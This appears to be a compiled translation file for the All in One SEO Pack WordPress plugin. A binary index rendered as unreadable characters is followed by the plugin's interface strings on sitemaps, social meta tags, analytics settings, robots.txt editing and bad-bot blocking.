‹@³‹ô‹ Œ ŒŒ,Œ4Œ <ŒIŒYŒ iŒwŒ2ˆŒ»ŒÐŒãŒúŒ $()Mw‰(™ÂÙòŽ&ŽEŽ]Ž"lŽ Ž šŽ ¤Ž'¯Ž׎ ÜŽæŽ-2P;h5¤ÚÞî þ  !.+ Z{™·À ÅÑÚ.ë‘+‘2‘K‘O`‘°‘‘PÙ‘Z*’3…’/¹’Aé’C+“5o“ ¥“±“4¸“3í“!”9”)U” ”# ”Ä” à”î”–•Y™• ó• – –––.– E–Q–f–Dv–»—-À—Uî—D˜Y˜m˜‚˜–˜ œ˜ ª˜¶˜8Řþ˜™ %™/™7™K™ S™ ^™ l™z™‚™†™ ˜™£™¬™ ÙÍ™Fë™:2š:mšV¨š@ÿšC@›„›“›®›¿›#Ù›ý›œ3œ7Fœ~œ›œ¸œXÈœ\!~ ˜>¹ø,ÿ,,ž`Yž_ºžZŸRuŸ2ÈŸ>ûŸM: Dˆ KÍ 8¡2R¡C…¡FÉ¡c¢[t¢‰Ð¢UZ£z°£M+¤Ly¤VƤZ¥Wx¥¯Ð¥¸€¦"9§ \¨Oý¨­M©û©ª`-ª›Žªj*«•«¯« µ«ëÒ«å« ¬¬*¬=¬U¬k¬¬—¬®¬Á¬ Ò¬0ܬ ­­'­6­ G­T­_k­SË­®$®:®,N® {®†®¢®³®îÒ®ê®ù®¯¯ (¯>3¯r¯ ¯ ޝ¯¯!ί+ð¯-°J°`°{°™° ¶°İذö° ±*±)F±'p±'˜± À±á±ý±²":²&]²„² ¢²¥Ã²Si³(½³Yæ³/@´p´K‡´HÓ´EµÄbµ '¶2¶G¶2b¶•¶ ¶§¶ ¸¶*ƶ9ñ¶+·³>·Šò·}¸Aÿ¸‡A¹ɹ;ß¹–º²ºɺѺغ íºûº » ±»TR¼`§½¿'¿A¿V¿ h¿ t¿¿™¿b¿ŠÀW‹ÀRãÀ´6ÁCëÁ–/ÂLÆÂÃ)Ã69à pà ~à ŒÃ™ÃžÃ ¦Ã±Ã ¸ÃÂÃ:ËÃÄ ÄÄÄ%Ä.Ä6Ä<ÄEÄNÄ UÄS`Ä"´Ä×ÄàÄöÄ"ûÄ(ÅGÆMXÆ—¦Æ>Ç«^Çw ȂȘȌ±È*>Ê«iÊ ËË9˽SËOÌLaÌ;®ÌêÌN{ÍsÊÍN>ÎfÎ!ôÎ9Ï'PÏ9xÏ3²ÏhæÏOÐkÐ~ДЛЮРLÑ”ZуïÑsÒ‰Ò`Ó {ÓœÓ-°Ó-ÞÓ Ô$Ô"AÔ!dÔ †Ô*“Ô)¾Ô èÔõÔ Õ%ÕDÕ-SÕ.Õ=°Õ-îÕ!Ö>Ö\EÖÄ¢ÖÆg× .Ø;ØBØ_ØoØ0ˆØq¹Ø+Ù2ÙKÙQ[Ù­ÚÉÚÜÚ.ãÚÛ+"Û$NÛvsÛ'êÛ%Ü 8ÜBÜ¿IÜ ÝE%Ý@kݬÝ5ÌÝ8Þ;;ÞmwÞ}åÞŒcßðßôß àà$à3à2Càvà?†àEÆàú áâ`‰âgêãRä–ãäŠzå|æ­‚æ 0ç³Ñç…è‚#éw¦é™겸ê½kë¦)ì±Ð퇂îû ïÉðÒÐðÌ£ñÆpòÞ7óÕô‰ìôÀvõ¢7ö‡Úö„b÷£ç÷䋸`pùÓÑù¢¥ú¢HûZëû"Fü iü¢vü:ý6Tþ9‹þOÅþ"ÿ8ÿKÿRÿoÿˆÿ§ÿkÀÿ ,9@P$o”˜1¸ ê] ¨iyŒœ·Êä÷Wþ+V‚›~·6Fa{‘°Ì!è& %1WsŽ$•ºÊâõ0#?<c/ *Ðû *G(g 0Îá9 :DýWOU $¥ YÊ '$ L S  g Fu ¼ 4Ò 0 i8 ¢ © À × Gò µ:|ðZmRÈRün*kO–Oæä6µ Ñrrxåw^jÖ^Ay QlJ|$Çì'ü$0;&lh“ ü  &%9_Q{ÍÖìü$71Gny•è5~'´7Ü !=.V&…1¬Þú$, Q[Go·¾ Ú äXñeJ ° ¹ NÌ  !0>7>,V>’ƒ>?&?uB?„¸?W=@H•@YÞ@J8AZƒAÞA úAFBENB”B)¯B:ÙB&C%;C$aC†C£CÕ¾C”D%E 8EEE ^E$lE0‘EÂE*ÞE F F-HH1H–zHI*I@IYI oI|I’I¨Ir»I.J05JfJmJtJ JšJ­JÉJÜJìJ)óJK0K%CKiKK`žKfÿKifL„ÐLcUML¹M N&N9N @N7LN„N$šN ¿N9ËNO O5OdEOgªOP$.POSP £P;­PBéP,Q“½QQRzâRO]SQ­SeÿSNeTh´TZU]xU„ÖU–[V‘òV„„WÕ XŸßXÀY–@Z„×Z±\[º\dÉ\/.]ç^^ðF_ð7`[(aí„a7rbIªb«ôbç cxˆde e+e?e'Reze—e®e"Îe%ñe+f!Cf"efˆf¥f$ºfßfæfg g%g:gIg[gTqg‚ÆgIh$Mh$rhK—hãh0êhi/i?i!Oiqi0i¾i!Ôiöit j‚jŸj0»j*ìj9k(Qk3zk*®k6Ùk<l*Mlxl’l$¯l&Ôl$ûl- mBNmB‘m@Ôm.n%Dn.jn™n7¶n@în#/o%Soyo¦‚p?)qiqQúqLr~hrnçrcVsTºsu3.u?bu>¢uáuñuv vH9vi‚vìvw©!x¤ËxlpyÕÝy'³zKÛz¿'{ç{ | ||.|&A|Øh|ÏA}w~}‰ =1R„¡¸&Ïöxý»v‚f2ƒ¥™ƒî?„\.…ë‹…w†‡‡H1‡z‡‡¦‡¹‡À‡LJ ˇ؇߇:ò‡-ˆ3ˆ7ˆ;ˆNˆdˆlˆ sˆ€ˆ“ˆšˆˆ­ˆM6‰„‰”‰´‰D¸‰Þd‚@þ ®":A©ï|ŽéŒ© ¶3‰0àÊ7Ò §{~afz%äFǼŸ_s„YÖMKcØ/mEh>ëW¬ Ì1ÃG¹˜U Dv6{žù°Xcðù ò•¡\<y,u—ÑnG»‚¯—]Ï]ðZ’$Ù] ê!@iÂB‰ð¡“kÜý8m¢¢¶3Âáp¤=…a_ ÚÜ£œÙt`U5õ{LF2)q&’õH¿°}}ým èe+L !(1îNc"XíÙú³W£N¨àÉÚ?Åë„‹*\wØÔM…Ìãø^yÍ×Ðj Q~EÅåŽ7•:ª ΑT -vw*ÖPr¿ ´Bê‡)¥ˆÞÿD#¾d©[ˆüæsí8ò*½ÁîoªzE^<|~h1bçï³bB†®­ôqÛV‚ºkç\Õ 'èû&tS‘e'!½iNì— `,ú¦Kúh¨v×°Í.ÆÞèØ·QñÇ-ÅÛùĺ_t“ƒÖTϳœ.Èêæ)¢GÇ«VÈdËŽCÒÎ:¯XÉ>;qò¨²=¦’»L ˆâya¶÷·¤HÿŸ˜K7jYeÛ¾;?|w¬ôšÐ¦Áp0Æ€¿+õÁFÉY/–Oâü÷él Õžæ¯öÝãø”†'ÊJì›­ü3/u[Z#ÎÄíó€$™ŸµÚš±”R Ó뻥ÕkÜInÀ0Œå„¹žÆœÀ§Iµ8%šWPã-%2J‡Dz®›Ìå²µOil´U9jr 4[Ð}xÀÓÔà™pááºÝâÃlÈSÑ«^?¡«fŒ6Ò¹9ÑßVAOrÄfRxA§Â• ¸ ‹,ßéªMñI–¸Z£(¬$¸×þ4T·™ 2‹J€ƒ›ƒ˜þ5Ýʤääß;†g½>û9É(H&ÿRoî±怒sg4gì‘ÔçQñó‡" 5ýôÏ.Óu²Š¼Ëø n<±¾“C`@´=÷…Š­xó#So¼ÍCöËbûö6”P–Š+ MByte characters. Most search engines use a maximum of %1$s chars for the %2$s.%1$s %2$s contains new features, bug fixes, increased security, and tons of under the hood performance improvements.%1$s by %2$s of %3$s%1$s has been translated into %2$s languages, but currently the %3$s translation is only %4$s percent complete. %5$sClick here%6$s to help get it to 100 percent.%1$sClick here%2$s to file a feature request/bug report.%s Debug Info%s Plugin Options%s has detected that a plugin(s) or theme is also outputting social meta tags on your site. You can view this social meta in the source code of your site (check your browser help for instructions on how to view source code).%s is almost ready.%s is created by a worldwide network of friendly folks like these..htaccess.htaccess editor404 Title Format:Security warning: Your file looks compromised. Please check the file for any script-injection.Warning: Line not matched: "%1$s", On Line: %2$sWarning: This following post could not be found: "%s"

Analyzing records in a %1$s to %2$s conversion…A comma separated list of your most important keywords for this page that will be written as META keywords.A custom title that shows up in the title tag for this page.A physical file exists. Do you want to %simport and delete%s it, %sdelete%s it or continue using it?A physical file exists. This feature cannot be used.A preview of what this page might look like in search engine results.AboutAccess our Premium Support ForumsAccess to Knowledge CenterAccess to Premium Support ForumsAccess to Video ScreencastsAccess to video tutorials about SEO with the Pro versionActive PluginsActive ThemeActivityActorAdd RuleAdd Social Meta data to your site to deliver closer integration between your website and social media.Add URLAdd URLs for your website's social profiles here (Facebook, Twitter, Google+, Instagram, LinkedIn), one per line.Add a list of additional domains to track here. Enter one domain name per line without the http://.Add a reviewAdd markup to display the Google Sitelinks Search Box next to your search results in Google.Add the name of the person or organization who owns these profiles.Additional 404 title inputAdditional Domains:Additional Front Page Headers:Additional Page Headers:Additional PagesAdditional Post Headers:Additional Posts Page Headers:Advanced Analytics Options:Advanced SettingsAdvanced support for WooCommerceAdvanced support for e-commerceAlbumAll In One SEO PackAll Post TypesAll TaxonomiesAll in One SEOAll in One SEO Options Updated.All in One SEO Pro Plugin ChangelogAll in One SEO Pro Plugin Support ForumAll in One SEO has been deactivatedAll values are mandatory.AllowAllows you to specify the maximum number of posts in a sitemap (up to 50,000).Allows your authors to be identified by their Facebook pages as content authors on the Opengraph meta for their articles.Allows your authors to be identified by their Twitter usernames as content creators on the Twitter cards for their posts.Analysis ResultsAnalyzeAnonymize IP Addresses:ArchiveArchive PagesArchive Title Format:Are the social profile links for your website for a person or an organization?ArticleArticle SectionArticle TagsAs the name implies, this will be the Meta Title of your homepage. This is independent of any other option. If not set, the default Site Title (found in WordPress under Settings, General, Site Title) will be used.Associated NameAthleteAuthorAuthor Archive Title Format:Author PagesAutogenerate Descriptions:Automatically Generate Article TagsAutomatically generate article tags for Facebook type article when not provided.Bad Bot BlockerBaidu Webmaster Tools:BandBarBefore performing an import, we strongly recommend that you make a backup of your site. We use and recommend %1$s BackupBuddy %2$s for backups.Beginners Guide for %sBeginners Guide for Social Meta moduleBeginners Guide for XML Sitemap moduleBing Webmaster Tools:Block Bad Bots using HTTPBlock Referral Spam using HTTPBlock Referral Spam using HTTP.Block requests from user agents that are known to misbehave with 503.Blocked bot with IP %1$s -- matched referer %2$s found in blocklist.Blocked bot with IP %1$s -- matched user agent %2$s found in blocklist.BookCLICK HERECafeCancelCanonical URLs:CategoryCategory Title Format:CauseChanges are automatically submitted to search engines.Check out what's new in our %s release post!Check this and %s will create a log of important events (all-in-one-seo-pack.log) in its plugin directory which might help debugging. Make sure this directory is writable.Check this and shortcodes will get executed for descriptions auto-generated from content.Check this and your Meta Descriptions for any Post Type will be auto-generated using the Post Excerpt, or the first 160 characters of the post content if there is no Post Excerpt. You can overwrite any auto-generated Meta Description by editing the post or page.Check this and your Meta Descriptions will be removed from page 2 or later of paginated content.Check this box to ask search engines not to follow links from this page.Check this box to ask search engines not to index this page.Check this if you want to ensure consistency in URL paths reported to Google Analytics.Check this if you want to track events with Google Analytics.Check this if you want to track how far down a user scrolls a page with Google Analytics.Check this if you want to track how long pages are in visible state with Google Analytics.Check this if you want to track interactions with the official Facebook and Twitter widgets with Google Analytics.Check this if you want to track media query matching and queries with Google Analytics.Check this if you want to track outbound forms with Google Analytics.Check this if you want to track outbound links with Google Analytics.Check this if you want to track url changes for single pages with Google Analytics.Check this if you want to track when elements are visible within the viewport with Google Analytics.Check this if you want your categories for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).Check this if you want your keywords on your Posts page (set in WordPress under Settings, Reading, Front Page Displays) and your archive pages to be dynamically generated from the keywords of the posts showing on that page. If unchecked, it will use the keywords set in the edit page screen for the posts page.Check this if you want your tags for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).Check this to add %s to the Toolbar for easy access to your SEO settings.Check this to ask search engines not to follow links from paginated pages/posts. Useful for avoiding duplicate content.Check this to ask search engines not to index Author Archives. Useful for avoiding duplicate content.Check this to ask search engines not to index Category Archives. Useful for avoiding duplicate content.Check this to ask search engines not to index Date Archives. Useful for avoiding duplicate content.Check this to ask search engines not to index Tag Archives. Useful for avoiding duplicate content.Check this to ask search engines not to index custom Taxonomy archive pages. Useful for avoiding duplicate content.Check this to ask search engines not to index paginated pages/posts. Useful for avoiding duplicate content.Check this to ask search engines not to index the 404 page.Check this to ask search engines not to index the Search page. Useful for avoiding duplicate content.Check this to edit the list of disallowed user agents for blocking bad bots.Check this to move the %s menu item to the top of your WordPress Dashboard menu.Check this to prevent your Description from being truncated regardless of its length.Check this to support Schema.org markup, i.e., itemprop on supported metadata.Check this to unprotect internal postmeta fields for use with XMLRPC. If you don't know what that is, leave it unchecked.Check to use advanced Google Analytics options.Checking this box will use the Home Title and Home Description set in %s, General Settings as the Open Graph title and description for your home page.Checking this option uses the title, description, and keywords set on your static Front Page.Checking this option will set the Canonical URL for all paginated content to the first page.Choose a default value that best describes the content of your post type.Choose platform:CityClick "Analyze" for a list of SEO data that can be imported into %s, along with the number of records that will be imported.Click "Convert" to perform the import. After the import has completed, you will be alerted to how many records were imported, and how many records had to be ignored, based on the criteria above.Click here for documentation on this settingClick here for documentation on this setting.Click here to %1$sview your RSS sitemap%2$s.Click here to %s.Coming Soon...CompanyCompatible data:Configured RulesContent Type SettingsContinue to the General SettingsControl SEO on categories, tags and custom taxonomies with the Pro versionConversion ResultsConvertCore TeamCouldn't find file %s!Couldn't rename file %s!CountryCreate RSS SitemapCreate RSS Sitemap as well.Create a Robots.txt FileCreate a compressed sitemap file in .xml.gz format.Create and manage your Video Sitemap using this feature and submit your Video Sitemap to Google, Bing/Yahoo and Ask.com.Create and manage your XML Sitemaps using this feature and submit your XML Sitemap to Google, Bing/Yahoo and Ask.com.CreditsCustom Canonical URLCustom ImageCustom Twitter ImageCustom VideoDailyDaily scheduled sitemap check has finished.Date Archive Title Format:Debug StringDebug This PostDebug Warning: %1$s meta data was included again from %2$s filter. Called %3$s times!Default Default - nofollowDefault - noindexDefault ImageDefault Image HeightDefault Image WidthDefault OG:ImageDefault Twitter CardDefault to NOFOLLOW:Default to NOINDEX:Delete Conflicting FilesDeleted %s.DescriptionDescription FormatDevelopment TeamDid You Know?DirectorDirectory PathDirectory Path cannot be emptyDisable Google AnalyticsDisable Google Analytics on this page.Disable SEO on this page.Disable on this page/postDisabledDisallowDismissDisplay Advertiser Tracking:Display Menu At The Top:Display Menu In Toolbar:Display SettingsDisplay Sitelinks Search Box:Do Not OverrideDocumentationDon't display this page in the sitemap.DrinkDuplicate %s MetaDynamic sitemap generation does not appear to be using the correct rewrite rules; please disable any other sitemap plugins or functionality on your site and reset your permalinks.Dynamically Generate Keywords for Posts Page/Archives:Dynamically Generate SitemapDynamically creates the XML sitemap instead of using a static file.E-mail debug informationEditEdit .htaccessEdit SEOEdit your .htaccess file to fine-tune your site.Email AddressEnable Facebook Meta for Post TypesEnable Sitemap IndexesEnable this option to look for videos in custom fields as well.EnabledEnhanced Ecommerce:Enhanced Link Attribution:Ensure URL Consistency:Enter a comma separated list of pages here to be excluded by %s. This is helpful when using plugins which generate their own non-WordPress dynamic pages. Ex: /forum/, /contact/
For instance, if you want to exclude the virtual pages generated by a forum plugin, all you have to do is add "forum" or "/forum" or "/forum/" or any URL with the word "forum" in it here, such as "http://mysite.com/forum" or "http://mysite.com/forum/someforumpage", and it will be excluded.Enter a comma separated list of your most important keywords for your site that will be written as Meta Keywords on your homepage. Do not stuff everything in here.Enter information below for any additional links for your sitemap not already managed through WordPress.Enter the Twitter username associated with your website here.Enter the height for your Open Graph image in pixels (i.e. 600).Enter the height for your Open Graph video in pixels (i.e. 600).Enter the name of a custom field (or multiple field names separated by commas) to use that field to specify the Open Graph image on Pages or Posts.Enter the name of your website here.Enter the width for your Open Graph image in pixels (i.e. 600).Enter the width for your Open Graph video in pixels (i.e. 600).Enter your Facebook Admin ID here. You can enter multiple IDs separated by a comma. You can look up your Facebook ID using this tool http://findmyfbid.com/Enter your Facebook App ID here. Information about how to get your Facebook App ID can be found at https://developers.facebook.com/docs/apps/registerEnter your Google Analytics ID here to track visitor behavior on your site using Google Analytics.Enter your domain name without the http:// to set your cookie domain.Enter your verification code here to verify your site with Baidu Webmaster Tools.Enter your verification code here to verify your site with Bing Webmaster Tools.Enter your verification code here to verify your site with Google Search Console.Enter your verification code here to verify your site with Pinterest.Enter your verification code here to verify your site with Yandex Webmaster Tools.Entries from these taxonomy terms will be excluded from the sitemap.EpisodeError: please enter an e-mail address before submitting.Exclude From SitemapExclude ImagesExclude Images in your sitemap.Exclude Pages:Exclude Users From Tracking:Exclude any category, tag or custom taxonomy from the XML sitemap. Start typing the name of a category, tag or taxonomy term in the field and a dropdown will populate with the matching terms for you to select from.

This will also exclude any content belonging to the specified term. For example, if you exclude the "Uncategorized" category then all posts in that category will also be excluded from the sitemap.Exclude logged-in users from Google Analytics tracking by role.Excluded ItemsExcluded PagesExcluded TermsExportExport Post Types:Export SettingsExports and imports your %s plugin settings.FacebookFacebook Admin IDFacebook App IDFacebook DebugFacebook Object TypeFacebook SettingsFailed to delete file %s!Failed to notify %1$s about changes to your sitemap at %2$s, error code %3$s.Failed to notify %1$s about changes to your sitemap at %2$s, unable to access via wp_remote_get().Failed to rename file %s!Failed to send to %s.Failed to write file %s!Feature ManagerFeature Request/Bug ReportFeatured ImageFile %s already exists!File %s doesn't exist!File %s isn't writable!File EditorFirst Attached ImageFirst Available ImageFirst Image In ContentFoodForce Rewrites:Form submission error: verification check failed.FrequenciesFront Page DisplaysGameGeneral SettingsGenerate an RSS sitemap in addition to the regular XML Sitemap.Generate and validate your robots.txt file to guide search engines through your site.Generated byGet StartedGetting started? Read the Beginners GuideGoogle Analytics ID:Google Search Console:Google SettingsGovernmentHelpHelp translate %s into your language.Home DescriptionHome Description:Home ImageHome Keywords (comma separated):Home Page SettingsHome Page Title Format:Home TitleHome Title:Home URLHomepageHotelIdentical rule exists: %sIf checked, only posts that have videos in them will be displayed on the sitemap.ImageImage From Custom FieldImage SEOImage SettingsImportImport SEO DataImport SEO SettingsImport SEO data from:Importer & ExporterInactive PluginsInclude Author Archives in your sitemap.Include Author PagesInclude Custom FieldsInclude Date Archive PagesInclude Date Archives in your sitemap.Insert timeJoin Our Mailing ListJoin our mailing list for tips, tricks, and WordPress secrets.Keyword SettingsKeywords (comma separated)LandmarkLast ModifiedLast modified date of the page.License Key is not set yet or invalid. License Key:Link articles to the Facebook page associated with your website.Log Of Blocked BotsLog and show recent requests from blocked bots.Log important events:MYSQL VersionMain SettingsManage LicensesManually set the %1$s of your %2$s.Maximum Posts Per Sitemap PageMedia / AttachmentsMemory usageMethod %s doesn't existMichael TorbertMissing values from `%s`.Modify RuleMonthlyMovieMultisiteMusicianN/ANOFOLLOW this page/postNOINDEX this page/postNeed a license key?Never Shorten Long Descriptions:NoNo Pagination for Canonical URLs:No ScheduleNo ThanksNo duplicate meta tags found.No limitNo requests yet.No, thanksNoindex SettingsNon ProfitNot setNote: If General Settings is checked, the General Settings, the Feature Manager settings, and the following currently active modules will have their settings data exported:Nothing found for %request_words%Notice updated successfully.Notice: Notify search engines based on the selected schedule, and also update static sitemap daily if in use. (this uses WP-Cron, so make sure this is working properly on your server as well)Object TypeOffOnOnce MonthlyOnce WeeklyOperating SystemOptimize performance related to SEO and check your system status.Options Reset.OrganizationOrganize sitemap entries into distinct files in your sitemap. Enable this only if your sitemap contains over 50,000 URLs or the file is over 5MB in size.Out-of-the-box SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs or business sites, SEO for ecommerce sites, and much more. More than 50 million downloads since 2007.Override the canonical URLs for this post.PHP Allow URL fopenPHP Exif supportPHP IPTC supportPHP Max Post SizePHP Max Script Execute TimePHP Max Upload SizePHP Memory LimitPHP VersionPHP XML supportPagePage FrequencyPage PriorityPage Title Format:Page URLPaged Format:PartPath cannot be overridden: %sPerformancePermalink SettingPersonPerson or Organization?Pinterest Site Verification:Places a link to your Sitemap.xml into your virtual Robots.txt file.Please Note: Please provide absolute URLs (including http or https).Please refer to the document for each tool for help in using these to debug your social meta.Please wait...PluginsPoliticianPostPost Author ImagePost DataPost Title Format:Post TypePost TypesPost/PagePostsPotential conflict with unknown file %s.Press the connect button to connect with Google Analytics; or if already connected, press the disconnect button to disable and remove any stored analytics credentials.Press this button to have Facebook re-fetch and debug this page.Preview SnippetPrioritiesPro VersionPro Version OnlyProductProfileProject LeadProject LeadersProject ManagerPublic FigurePurchase one nowQuality guidelines for SEO titles and descriptionsRaise execution timeRaise memory limitRead the %s user guideReading SettingsRecent Rockstar ContributorsRedirect Attachments to Post Parent:Redirect attachment pages to post parent.Referer BlocklistRemind me laterRemove Descriptions For Paginated Pages:Removed empty file %s.Rename Conflicting FilesRenamed %1$s to %2$s.Reset %s Settings to DefaultsReset ALL Settings to DefaultsReset Dismissed NoticesReset FeaturesReset General Settings to DefaultsRestaurantRevisionsRobots.txtRow %s not found; no rows were deleted.RuleRule TypeRule cannot be overridden: %sRun Shortcodes In Autogenerated Descriptions:Run Shortcodes In DescriptionRun Shortcodes In TitleRun shortcodes that appear in social description meta tags.Run shortcodes that appear in social title meta tags.SEOSEO Data ImportSEO DescriptionSEO KeywordsSEO NewsSEO SettingsSEO TitleSEO for Categories, Tags and Custom TaxonomiesSEO on only these Content Types:SEO on only these taxonomies:SFWD Debug Mail From Site %s.SQL ModeSaveScan HeaderScan NowScan Social MetaScan your site for duplicate social meta tags.Schedule UpdatesSchoolSearch Engine VisibilitySearch Title Format:Security Check - If you receive this in error, log out and back in to WordPressSelect IndividualSelect OG:Image SourceSelect the Open Graph type that best describes the content of this Page or Post.Select the Twitter Card type to use for this Page or Post, overriding the default setting.Select the default type of Twitter Card to display.Select which Post Types appear in your sitemap.Select which Post Types you want to export your %s meta data for.Select which Post Types you want to set Open Graph meta values for.Select which taxonomy archives appear in your sitemapSent to %s.ServerSet the default NOFOLLOW setting for each Post Type.Set the default NOINDEX setting for each Post Type.Set up Google AnalyticsSettings export file for %sShow Column Labels for Custom Post Types:Show Facebook Author on ArticlesShow Facebook Publisher on ArticlesShow Only Posts With VideosShow SEO NewsShow Twitter AuthorShows log of most recent requests from blocked bots. Note: this will not track any bots that were already blocked at the web server / .htaccess level.Sign up today and receive a free copy of the e-book 5 SEO Tips for WordPress ($39 value).Site LanguageSite NameSite TitleSite URLSitemap StatusSlug may not be empty!Social MetaSocial Profile LinksSocial SettingsSome plugins and themes do not share similar data, or they store data in a non-standard way. If we cannot import this data, it will remain unchanged in your database. Any compatible SEO data will be displayed for you to review. If a post or page already has SEO data in %s, we will not import data from another plugin/theme.SongSorry, something went wrong. Please try againSorry, you can't do that. Please choose a platform and then click Analyze or Convert.Specify Image HeightSpecify Image WidthSpecify Video HeightSpecify Video WidthSportSports LeagueSports TeamState ProvinceStop badly behaving bots from slowing down your website.SubmitSubmit an XML Sitemap to GoogleSubscribeSummarySummary Large ImageSupportSupport %sSupport ForumSystem StatusTV ShowTagTag Title Format:TaxonomiesTaxonomyTaxonomy Title Format:Team LeadThe (main) Category of the %sThe Home Description is the Open Graph description for your home page.The Home Image is the Open Graph image for your home page.The Home Title is the Open Graph title for your home page.The META description for this page. This will override any autogenerated descriptions.The Site Name is the name that is used to identify your website.The URL path in human readable form, like "Url That Does Not Exist"The current %sThe current %s (localized)The current yearThe description of the %sThe following macros are supported:The frequency of the page.The name of a custom fieldThe name of the %sThe original URL path, like "/url-that-does-not-exist/"The original WordPress titleThe original title of the %sThe page numberThe plugin All-In-One-SEO has been detected. Do you want to %1$simport its settings%2$s?The plugin Yoast SEO has been detected. Do you want to %1$simport its settings%2$s into %3$sThe priority of the page.The search term that was enteredThe title of the %2$s taxonomy that is associated to this %3$sThemesThere are many ways you can help support %s.There are no other modules currently loaded!There is a new version of %1$s available. Go to the plugins page for details.This Open Graph meta allows you to add a general section name that best describes this content.This Open Graph meta allows you to add a list of keywords that best describe this content.This controls the format of Meta Descriptions. The following macros are supported:This displays an SEO News widget on the dashboard.This enables support for IP Anonymization in Google Analytics.This enables support for the Display Advertiser Features in Google Analytics.This enables support for the Enhanced Ecommerce in Google Analytics.This enables support for the Enhanced Link Attribution in Google Analytics.This is the Open Graph description of this Page or Post.This is the Open Graph title of this Page or Post.This is the list of disallowed referers used for blocking bad bots.This is the list of disallowed user agents used for blocking bad bots.This lets you select which screens display the SEO Title, SEO Keywords and SEO Description columns.This option allows you to toggle the use of Meta Keywords throughout the whole of the site.This option lets you choose which image will be displayed by default for the Open Graph image. You may override this on individual posts.This option lets you fall back to the default image if no image could be found above.This option lets you select the Open Graph image that will be used for this Page or Post, overriding the default settings.This option lets you set a default height for your images, where unspecified.This option lets you set a default width for your images, where unspecified.This option lets you specify a link to the Open Graph video used on this Page or Post.This option lets you upload an image to use as the Open Graph image for this Page or Post.This option lets you upload an image to use as the Twitter image for this Page or Post.This option sets a default image that can be used for the Open Graph image. You can upload an image, select an image from your Media Library or paste the URL of an image here.This option will auto generate your Open Graph descriptions from your post content instead of your post excerpt. WooCommerce users should read the documentation regarding this setting.This option will auto generate your meta descriptions from your post content instead of your post excerpt. This is useful if you want to use your content for your autogenerated meta descriptions instead of the excerpt. WooCommerce users should read the documentation regarding this setting.This option will automatically generate Canonical URLs for your entire WordPress installation. This will help to prevent duplicate content penalties by Google.This setting allows you to raise your PHP execution time to a reasonable value.This setting allows you to raise your PHP memory limit to a reasonable value. Note: WordPress core and other WordPress plugins may also change the value of the memory limit.This sitemap containsThis sitemap index containsThis string gets appended/prepended to titles of paged index pages (like home or archive pages).This will be the Meta Description for your homepage. This is independent of any other option. The default is no Meta Description at all if this is not set.This will be the license key received when the product was purchased. This is used for automatic upgrades.Tips for good on-page SEOTitleTitle Format:Title SettingsTrack Blocked BotsTrack Elements Visibility:Track Events:Track Facebook and Twitter:Track Media Query:Track Multiple Domains:Track Outbound Forms:Track Outbound Links:Track Page Scrolling:Track Page Visibility:Track Url Changes:Tracking Domain:TranslateTranslation contributors and translation editorsTwitterTwitter Card TypeTwitter DomainTwitter SettingsTwitter SiteUPGRADE TO PRO VERSIONURL to the page. This field accepts relative URLs or absolute URLs with the protocol specified.URL to the page. This field only accepts absolute URLs with the protocol specified.URLsUnable to delete fileUnable to read fileUnauthorized access; try reloading the page.UniversityUnprotect Post Meta Fields:Update .htaccessUpdate FeaturesUpdate OptionsUpdate Reading SettingsUpdate SitemapUpdate Sitemap SettingsUpgradeUpgrade To ProUpgrade toUpgrade to %s to access priority support and premium features.Upgrade to ProUpload ImageUse AIOSEO Title and DescriptionUse Categories In Article TagsUse Categories for META keywords:Use Content For Autogenerated Descriptions:Use Content For Autogenerated OG DescriptionsUse Custom BlocklistsUse Custom Field For ImageUse Default If No Image FoundUse Keywords In Article TagsUse Keywords:Use Original Title:Use Post Tags In Article TagsUse Schema.org MarkupUse Static Front Page InsteadUse Tags for META keywords:Use categories in generated article tags.Use keywords in generated article tags.Use nofollow for paginated pages/posts:Use noindex for Author Archives:Use noindex for Categories:Use noindex for Date Archives:Use noindex for Tag Archives:Use noindex for Taxonomy Archives:Use noindex for paginated pages/posts:Use noindex for the 404 page:Use noindex for the Search page:Use output buffering to ensure that the title gets rewritten. Enable this option if you run into issues with the title tag being set by your theme or another plugin.Use page slugs or page IDs, separated by commas, to exclude pages from the sitemap.Use post tags in generated article tags.Use the drop down below to choose which plugin or theme you wish to import SEO data from.Use the rule builder below to add/delete rules.Use the system defaultUse these checkboxes to select which Content Types you want to use %s with.Use these checkboxes to select which Taxonomies you want to use %s with.Use this option to enable tracking of multiple or additional domains.Use wp_title to get the title used by the theme; this is disabled by default. If you use this option, set your title formats appropriately, as your theme might try to do its own title SEO as well.User AgentUser Agent BlocklistUser Agent cannot be emptyUser doesn't have `aiosp_manage_seo` capabilities.VersionVersion 3Video SEO ModuleVideo SitemapVideo sitemap scan completed successfully!Video sitemap scan in progress. Please check again in %s.View the ChangelogWant to see your name and picture here as a community developer? %1$sClick here%2$s to open an issue on GitHub to report a bug, request a feature or find an issue and submit code!Warning: %s has detected that you are blocking access to search engines. You can change this in Settings > Reading if this was unintended.Warning: a static sitemap '%1$s' generated by %2$s %3$s on %4$s already exists that may conflict with dynamic sitemap generation.Warning: dynamic sitemap generation must have permalinks enabled.Warning: your privacy settings are configured to ask search engines to not index your site; you can change this under %s for your site.Watch video tutorialsWe have complete documentation on every setting and featureWe have detected you are running WooCommerce. Upgrade to %s to unlock our advanced e-commerce features, including SEO for Product Categories and more.Webmaster VerificationWebsiteWeeklyWelcome to %1$s %2$sWelcome to %sWhat Does This Mean?What you enter here will be copied verbatim to the header of all Pages. You can enter whatever additional headers you want here, even references to stylesheets.What you enter here will be copied verbatim to the header of all Posts. You can enter whatever additional headers you want here, even references to stylesheets.What you enter here will be copied verbatim to the header of the front page if you have set a static page in Settings, Reading, Front Page Displays. You can enter whatever additional headers you want here, even references to stylesheets. This will fall back to using Additional Page Headers if you have them set and nothing is entered here.What you enter here will be copied verbatim to the header of the home page if you have Front page displays your latest posts selected in Settings, Reading.  It will also be copied verbatim to the header on the Posts page if you have one set in Settings, Reading. You can enter whatever additional headers you want here, even references to stylesheets.What’s NewWild-card path cannot be overridden: %sWordPress DB VersionWordPress VersionXML SitemapXML SitemapsYandex Webmaster Tools:YesYou can find more information about XML sitemaps at sitemaps.orgYou have been using %1$s for a while now. That is awesome! If you like %1$s, then please leave us a 5-star rating. Huge thanks in advance!You may change this by activating or deactivating modules in the Feature Manager.You may choose to export settings from active modules, and content from post data.You may prefer to use the social meta tags that are being output by the other plugin(s) or theme. If so, 